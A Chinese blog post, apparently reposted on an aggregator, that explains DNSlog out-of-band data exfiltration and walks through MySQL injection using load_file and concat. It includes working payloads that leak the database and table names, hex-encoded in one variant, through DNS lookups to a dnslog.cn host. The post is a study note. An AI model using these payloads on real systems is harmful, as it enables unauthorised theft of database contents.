栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

DNSlog外带原理及注入分析

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

DNSlog外带原理及注入分析

前言

最近一直听到DNSlog外带原理等词但对其原理一直只是自己的理解(回显DNS请求后的日志)并没有真正的了解过,所以这里做一下记录。

DNSlog原理

DNS

DNS(Domain Name System)就是域名系统,负责把域名转换成IP地址;例如向浏览器访问a.com,浏览器就会将其解析成真实的IP访问对应服务器上的服务。

DNSlog

DNSlog就是DNS的日志,DNS在域名解析的时候会留下域名和解析IP的记录

DNSlog外带原理

DNS在解析的时候会留下日志,我们将信息放在高级域名中,传递到自己这里,然后通过读日志获取信息。

所以这里跟最初的猜想基本一致,原理也就是通过DNS请求后,通过读取日志来获取我们的请求信息。

DNSlog注入

在搜索DNSlog原理时同时看到了DNSlog注入,所以本地测试一块都了解一下

前置知识 Load_file

注入主要用到了Load_file函数,功能是读取文件并返回文件内容为字符串。(访问互联网中的文件时,需要在最前面加上两个斜杠 //)

D盘中写了个1.txt

通过load_file函数,读取一下

 select load_file('D:/1.txt')

concat

由于在通过load_file外带时是无法执行sql语句的,所以要通过concat函数,将执行的sql语句,与DNS请求的url进行拼接

select concat('Sentiment','\',(select database()));

本地测试

通过DNSlog外带数据库信息

select load_file(concat('//',(select database()),'.je5i3a.dnslog.cn/1.txt'));


外带表名

select load_file(concat('//',(select group_concat(table_name separator '_') from  information_schema.tables where table_schema=database()),'.je5i3a.dnslog.cn/1.txt'));


剩下的就是sql注入常规操作了,就不一一列举了

局限性

通过本地测试后,发现了一些问题,在url中传递字符有一定的局限性,很多字符是无法传递的,所以在外带时,可以通过十六进制编码绕过符号的局限性

select load_file(concat('//',(select hex(group_concat(table_name separator '_')) from  information_schema.tables where table_schema=database()),'.je5i3a.dnslog.cn/1.txt'));


十六进制转字符

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/840128.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号